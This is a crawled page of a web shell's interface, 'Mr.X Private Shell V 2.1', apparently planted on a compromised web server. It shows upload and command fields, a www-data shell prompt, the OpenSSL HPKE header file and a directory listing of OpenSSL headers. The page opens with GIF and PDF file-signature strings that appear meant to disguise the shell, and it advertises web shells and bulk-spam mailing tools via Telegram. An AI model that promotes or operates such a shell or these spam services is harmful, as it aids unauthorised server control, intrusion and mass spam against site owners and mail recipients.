GIF89; GIF89; %PDF- %PDF- Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.129: ~ $
/*
 * Copyright 2022-2024 The OpenSSL Project Authors. All Rights Reserved.
 *
 * Licensed under the Apache License 2.0 (the "License").  You may not use
 * this file except in compliance with the License.  You can obtain a copy
 * in the file LICENSE in the source distribution or at
 * https://www.openssl.org/source/license.html
 */

/* APIs and data structures for HPKE (RFC9180)  */
#ifndef OSSL_HPKE_H
# define OSSL_HPKE_H
# pragma once

# include <openssl/types.h>

/* HPKE modes */
# define OSSL_HPKE_MODE_BASE              0 /* Base mode  */
# define OSSL_HPKE_MODE_PSK               1 /* Pre-shared key mode */
# define OSSL_HPKE_MODE_AUTH              2 /* Authenticated mode */
# define OSSL_HPKE_MODE_PSKAUTH           3 /* PSK+authenticated mode */

/*
 * Max for ikm, psk, pskid, info and exporter contexts.
 * RFC9180, section 7.2.1 RECOMMENDS 64 octets but we have test vectors from
 * Appendix A.6.1 with a 66 octet IKM so we'll allow that.
 */
# define OSSL_HPKE_MAX_PARMLEN        66
# define OSSL_HPKE_MIN_PSKLEN         32
# define OSSL_HPKE_MAX_INFOLEN        1024

/*
 * The (16bit) HPKE algorithm ID IANA codepoints
 * If/when new IANA codepoints are added there are tables in
 * crypto/hpke/hpke_util.c that must also be updated.
 */
# define OSSL_HPKE_KEM_ID_RESERVED         0x0000 /* not used */
# define OSSL_HPKE_KEM_ID_P256             0x0010 /* NIST P-256 */
# define OSSL_HPKE_KEM_ID_P384             0x0011 /* NIST P-384 */
# define OSSL_HPKE_KEM_ID_P521             0x0012 /* NIST P-521 */
# define OSSL_HPKE_KEM_ID_X25519           0x0020 /* Curve25519 */
# define OSSL_HPKE_KEM_ID_X448             0x0021 /* Curve448 */

# define OSSL_HPKE_KDF_ID_RESERVED         0x0000 /* not used */
# define OSSL_HPKE_KDF_ID_HKDF_SHA256      0x0001 /* HKDF-SHA256 */
# define OSSL_HPKE_KDF_ID_HKDF_SHA384      0x0002 /* HKDF-SHA384 */
# define OSSL_HPKE_KDF_ID_HKDF_SHA512      0x0003 /* HKDF-SHA512 */

# define OSSL_HPKE_AEAD_ID_RESERVED        0x0000 /* not used */
# define OSSL_HPKE_AEAD_ID_AES_GCM_128     0x0001 /* AES-GCM-128 */
# define OSSL_HPKE_AEAD_ID_AES_GCM_256     0x0002 /* AES-GCM-256 */
# define OSSL_HPKE_AEAD_ID_CHACHA_POLY1305 0x0003 /* Chacha20-Poly1305 */
# define OSSL_HPKE_AEAD_ID_EXPORTONLY      0xFFFF /* export-only fake ID */

/* strings for suite components */
# define OSSL_HPKE_KEMSTR_P256        "P-256"              /* KEM id 0x10 */
# define OSSL_HPKE_KEMSTR_P384        "P-384"              /* KEM id 0x11 */
# define OSSL_HPKE_KEMSTR_P521        "P-521"              /* KEM id 0x12 */
# define OSSL_HPKE_KEMSTR_X25519      "X25519"             /* KEM id 0x20 */
# define OSSL_HPKE_KEMSTR_X448        "X448"               /* KEM id 0x21 */
# define OSSL_HPKE_KDFSTR_256         "hkdf-sha256"        /* KDF id 1 */
# define OSSL_HPKE_KDFSTR_384         "hkdf-sha384"        /* KDF id 2 */
# define OSSL_HPKE_KDFSTR_512         "hkdf-sha512"        /* KDF id 3 */
# define OSSL_HPKE_AEADSTR_AES128GCM  "aes-128-gcm"        /* AEAD id 1 */
# define OSSL_HPKE_AEADSTR_AES256GCM  "aes-256-gcm"        /* AEAD id 2 */
# define OSSL_HPKE_AEADSTR_CP         "chacha20-poly1305"  /* AEAD id 3 */
# define OSSL_HPKE_AEADSTR_EXP        "exporter"           /* AEAD id 0xff */

/*
 * Roles for use in creating an OSSL_HPKE_CTX, most
 * important use of this is to control nonce reuse.
 */
# define OSSL_HPKE_ROLE_SENDER 0
# define OSSL_HPKE_ROLE_RECEIVER 1

# ifdef  __cplusplus
extern "C" {
# endif

typedef struct {
    uint16_t    kem_id; /* Key Encapsulation Method id */
    uint16_t    kdf_id; /* Key Derivation Function id */
    uint16_t    aead_id; /* AEAD alg id */
} OSSL_HPKE_SUITE;

/**
 * Suite constants, use this like:
 *          OSSL_HPKE_SUITE myvar = OSSL_HPKE_SUITE_DEFAULT;
 */
# ifndef OPENSSL_NO_ECX
#  define OSSL_HPKE_SUITE_DEFAULT \
    {\
        OSSL_HPKE_KEM_ID_X25519, \
        OSSL_HPKE_KDF_ID_HKDF_SHA256, \
        OSSL_HPKE_AEAD_ID_AES_GCM_128 \
    }
# else
#  define OSSL_HPKE_SUITE_DEFAULT \
    {\
        OSSL_HPKE_KEM_ID_P256, \
        OSSL_HPKE_KDF_ID_HKDF_SHA256, \
        OSSL_HPKE_AEAD_ID_AES_GCM_128 \
    }
#endif

typedef struct ossl_hpke_ctx_st OSSL_HPKE_CTX;

OSSL_HPKE_CTX *OSSL_HPKE_CTX_new(int mode, OSSL_HPKE_SUITE suite, int role,
                                 OSSL_LIB_CTX *libctx, const char *propq);
void OSSL_HPKE_CTX_free(OSSL_HPKE_CTX *ctx);

int OSSL_HPKE_encap(OSSL_HPKE_CTX *ctx,
                    unsigned char *enc, size_t *enclen,
                    const unsigned char *pub, size_t publen,
                    const unsigned char *info, size_t infolen);
int OSSL_HPKE_seal(OSSL_HPKE_CTX *ctx,
                   unsigned char *ct, size_t *ctlen,
                   const unsigned char *aad, size_t aadlen,
                   const unsigned char *pt, size_t ptlen);

int OSSL_HPKE_keygen(OSSL_HPKE_SUITE suite,
                     unsigned char *pub, size_t *publen, EVP_PKEY **priv,
                     const unsigned char *ikm, size_t ikmlen,
                     OSSL_LIB_CTX *libctx, const char *propq);
int OSSL_HPKE_decap(OSSL_HPKE_CTX *ctx,
                    const unsigned char *enc, size_t enclen,
                    EVP_PKEY *recippriv,
                    const unsigned char *info, size_t infolen);
int OSSL_HPKE_open(OSSL_HPKE_CTX *ctx,
                   unsigned char *pt, size_t *ptlen,
                   const unsigned char *aad, size_t aadlen,
                   const unsigned char *ct, size_t ctlen);

int OSSL_HPKE_export(OSSL_HPKE_CTX *ctx,
                     unsigned char *secret,
                     size_t secretlen,
                     const unsigned char *label,
                     size_t labellen);

int OSSL_HPKE_CTX_set1_authpriv(OSSL_HPKE_CTX *ctx, EVP_PKEY *priv);
int OSSL_HPKE_CTX_set1_authpub(OSSL_HPKE_CTX *ctx,
                               const unsigned char *pub,
                               size_t publen);
int OSSL_HPKE_CTX_set1_psk(OSSL_HPKE_CTX *ctx,
                           const char *pskid,
                           const unsigned char *psk, size_t psklen);

int OSSL_HPKE_CTX_set1_ikme(OSSL_HPKE_CTX *ctx,
                            const unsigned char *ikme, size_t ikmelen);

int OSSL_HPKE_CTX_set_seq(OSSL_HPKE_CTX *ctx, uint64_t seq);
int OSSL_HPKE_CTX_get_seq(OSSL_HPKE_CTX *ctx, uint64_t *seq);

int OSSL_HPKE_suite_check(OSSL_HPKE_SUITE suite);
int OSSL_HPKE_get_grease_value(const OSSL_HPKE_SUITE *suite_in,
                               OSSL_HPKE_SUITE *suite,
                               unsigned char *enc, size_t *enclen,
                               unsigned char *ct, size_t ctlen,
                               OSSL_LIB_CTX *libctx, const char *propq);
int OSSL_HPKE_str2suite(const char *str, OSSL_HPKE_SUITE *suite);
size_t OSSL_HPKE_get_ciphertext_size(OSSL_HPKE_SUITE suite, size_t clearlen);
size_t OSSL_HPKE_get_public_encap_size(OSSL_HPKE_SUITE suite);
size_t OSSL_HPKE_get_recommended_ikmelen(OSSL_HPKE_SUITE suite);

# ifdef  __cplusplus
}
# endif

#endif

Filemanager

Name Type Size Permission Actions
archs Folder 0755
aes.h File 3.66 KB 0644
asn1.h File 94 B 0644
asn1_asm.h File 2.41 KB 0644
asn1_no-asm.h File 2.69 KB 0644
asn1err.h File 7.67 KB 0644
asn1t.h File 96 B 0644
asn1t_asm.h File 2.43 KB 0644
asn1t_no-asm.h File 2.71 KB 0644
async.h File 3.42 KB 0644
asyncerr.h File 842 B 0644
bio.h File 92 B 0644
bio_asm.h File 2.39 KB 0644
bio_no-asm.h File 2.67 KB 0644
bioerr.h File 3.43 KB 0644
blowfish.h File 2.63 KB 0644
bn.h File 23.62 KB 0644
bn_conf.h File 100 B 0644
bn_conf_asm.h File 2.45 KB 0644
bn_conf_no-asm.h File 2.73 KB 0644
bnerr.h File 1.9 KB 0644
buffer.h File 1.62 KB 0644
buffererr.h File 594 B 0644
byteorder.h File 8.43 KB 0644
camellia.h File 4.95 KB 0644
cast.h File 2.02 KB 0644
cmac.h File 1.57 KB 0644
cmp.h File 92 B 0644
cmp_asm.h File 2.39 KB 0644
cmp_no-asm.h File 2.67 KB 0644
cmp_util.h File 1.7 KB 0644
cmperr.h File 7.13 KB 0644
cms.h File 92 B 0644
cms_asm.h File 2.39 KB 0644
cms_no-asm.h File 2.67 KB 0644
cmserr.h File 6.63 KB 0644
comp.h File 94 B 0644
comp_asm.h File 2.41 KB 0644
comp_no-asm.h File 2.69 KB 0644
comperr.h File 1.22 KB 0644
conf.h File 94 B 0644
conf_api.h File 1.39 KB 0644
conf_asm.h File 2.41 KB 0644
conf_no-asm.h File 2.69 KB 0644
conferr.h File 2.21 KB 0644
configuration.h File 112 B 0644
configuration_asm.h File 2.58 KB 0644
configuration_no-asm.h File 2.88 KB 0644
conftypes.h File 1.16 KB 0644
core.h File 7.99 KB 0644
core_dispatch.h File 57.19 KB 0644
core_names.h File 106 B 0644
core_names_asm.h File 2.52 KB 0644
core_names_no-asm.h File 2.81 KB 0644
core_object.h File 1.1 KB 0644
crmf.h File 94 B 0644
crmf_asm.h File 2.41 KB 0644
crmf_no-asm.h File 2.69 KB 0644
crmferr.h File 2.39 KB 0644
crypto.h File 98 B 0644
crypto_asm.h File 2.45 KB 0644
crypto_no-asm.h File 2.73 KB 0644
cryptoerr.h File 2.47 KB 0644
cryptoerr_legacy.h File 78.51 KB 0644
ct.h File 90 B 0644
ct_asm.h File 2.37 KB 0644
ct_no-asm.h File 2.65 KB 0644
cterr.h File 1.65 KB 0644
decoder.h File 5.63 KB 0644
decodererr.h File 791 B 0644
des.h File 8.33 KB 0644
dh.h File 15.11 KB 0644
dherr.h File 2.51 KB 0644
dsa.h File 12.24 KB 0644
dsaerr.h File 1.59 KB 0644
dso_conf.h File 102 B 0644
dso_conf_asm.h File 2.47 KB 0644
dso_conf_no-asm.h File 2.75 KB 0644
dtls1.h File 1.43 KB 0644
e_os2.h File 8.64 KB 0644
e_ostime.h File 1.16 KB 0644
ebcdic.h File 1.02 KB 0644
ec.h File 66.84 KB 0644
ecdh.h File 361 B 0644
ecdsa.h File 361 B 0644
ecerr.h File 5.28 KB 0644
encoder.h File 5.32 KB 0644
encodererr.h File 791 B 0644
engine.h File 37.91 KB 0644
engineerr.h File 2.77 KB 0644
err.h File 92 B 0644
err_asm.h File 2.39 KB 0644
err_no-asm.h File 2.67 KB 0644
ess.h File 92 B 0644
ess_asm.h File 2.39 KB 0644
ess_no-asm.h File 2.67 KB 0644
esserr.h File 1.12 KB 0644
evp.h File 109.22 KB 0644
evperr.h File 8.03 KB 0644
fips_names.h File 1.62 KB 0644
fipskey.h File 100 B 0644
fipskey_asm.h File 2.47 KB 0644
fipskey_no-asm.h File 2.75 KB 0644
hmac.h File 2.09 KB 0644
hpke.h File 6.82 KB 0644
http.h File 5.53 KB 0644
httperr.h File 2.45 KB 0644
idea.h File 2.94 KB 0644
indicator.h File 917 B 0644
kdf.h File 5.49 KB 0644
kdferr.h File 482 B 0644
lhash.h File 96 B 0644
lhash_asm.h File 2.43 KB 0644
lhash_no-asm.h File 2.71 KB 0644
macros.h File 11.21 KB 0644
md2.h File 1.43 KB 0644
md4.h File 1.66 KB 0644
md5.h File 1.66 KB 0644
mdc2.h File 1.41 KB 0644
ml_kem.h File 1.02 KB 0644
modes.h File 10.53 KB 0644
obj_mac.h File 283.11 KB 0644
objects.h File 6.73 KB 0644
objectserr.h File 782 B 0644
ocsp.h File 94 B 0644
ocsp_asm.h File 2.41 KB 0644
ocsp_no-asm.h File 2.69 KB 0644
ocsperr.h File 2.15 KB 0644
opensslconf.h File 515 B 0644
opensslconf_asm.h File 6.77 KB 0644
opensslv.h File 102 B 0644
opensslv_asm.h File 2.48 KB 0644
opensslv_no-asm.h File 2.77 KB 0644
ossl_typ.h File 562 B 0644
param_build.h File 2.74 KB 0644
param_names.h File 108 B 0644
param_names_asm.h File 2.56 KB 0644
param_names_no-asm.h File 2.86 KB 0644
params.h File 7.27 KB 0644
pem.h File 25.64 KB 0644
pem2.h File 531 B 0644
pemerr.h File 2.63 KB 0644
pkcs12.h File 98 B 0644
pkcs12_asm.h File 2.45 KB 0644
pkcs12_no-asm.h File 2.73 KB 0644
pkcs12err.h File 1.85 KB 0644
pkcs7.h File 96 B 0644
pkcs7_asm.h File 2.43 KB 0644
pkcs7_no-asm.h File 2.71 KB 0644
pkcs7err.h File 2.88 KB 0644
prov_ssl.h File 1.11 KB 0644
proverr.h File 9.36 KB 0644
provider.h File 3.82 KB 0644
quic.h File 2.26 KB 0644
rand.h File 4.08 KB 0644
randerr.h File 3.3 KB 0644
rc2.h File 2.33 KB 0644
rc4.h File 1.17 KB 0644
rc5.h File 2.79 KB 0644
ripemd.h File 1.68 KB 0644
rsa.h File 27.81 KB 0644
rsaerr.h File 5.55 KB 0644
safestack.h File 104 B 0644
safestack_asm.h File 2.5 KB 0644
safestack_no-asm.h File 2.79 KB 0644
seed.h File 3.87 KB 0644
self_test.h File 5.13 KB 0644
sha.h File 4.58 KB 0644
srp.h File 92 B 0644
srp_asm.h File 2.39 KB 0644
srp_no-asm.h File 2.67 KB 0644
srtp.h File 2.13 KB 0644
ssl.h File 92 B 0644
ssl2.h File 658 B 0644
ssl3.h File 14.87 KB 0644
ssl_asm.h File 2.39 KB 0644
ssl_no-asm.h File 2.67 KB 0644
sslerr.h File 22.23 KB 0644
sslerr_legacy.h File 26.31 KB 0644
stack.h File 3.21 KB 0644
store.h File 15.1 KB 0644
storeerr.h File 2.04 KB 0644
symhacks.h File 1.26 KB 0644
thread.h File 871 B 0644
tls1.h File 71.38 KB 0644
trace.h File 10.55 KB 0644
ts.h File 20.12 KB 0644
tserr.h File 3 KB 0644
txt_db.h File 1.74 KB 0644
types.h File 7.33 KB 0644
ui.h File 90 B 0644
ui_asm.h File 2.37 KB 0644
ui_no-asm.h File 2.65 KB 0644
uierr.h File 1.36 KB 0644
whrlpool.h File 1.81 KB 0644
x509.h File 94 B 0644
x509_acert.h File 106 B 0644
x509_acert_asm.h File 2.52 KB 0644
x509_acert_no-asm.h File 2.81 KB 0644
x509_asm.h File 2.41 KB 0644
x509_no-asm.h File 2.69 KB 0644
x509_vfy.h File 102 B 0644
x509_vfy_asm.h File 2.48 KB 0644
x509_vfy_no-asm.h File 2.77 KB 0644
x509err.h File 3.3 KB 0644
x509v3.h File 98 B 0644
x509v3_asm.h File 2.45 KB 0644
x509v3_no-asm.h File 2.73 KB 0644
x509v3err.h File 4.95 KB 0644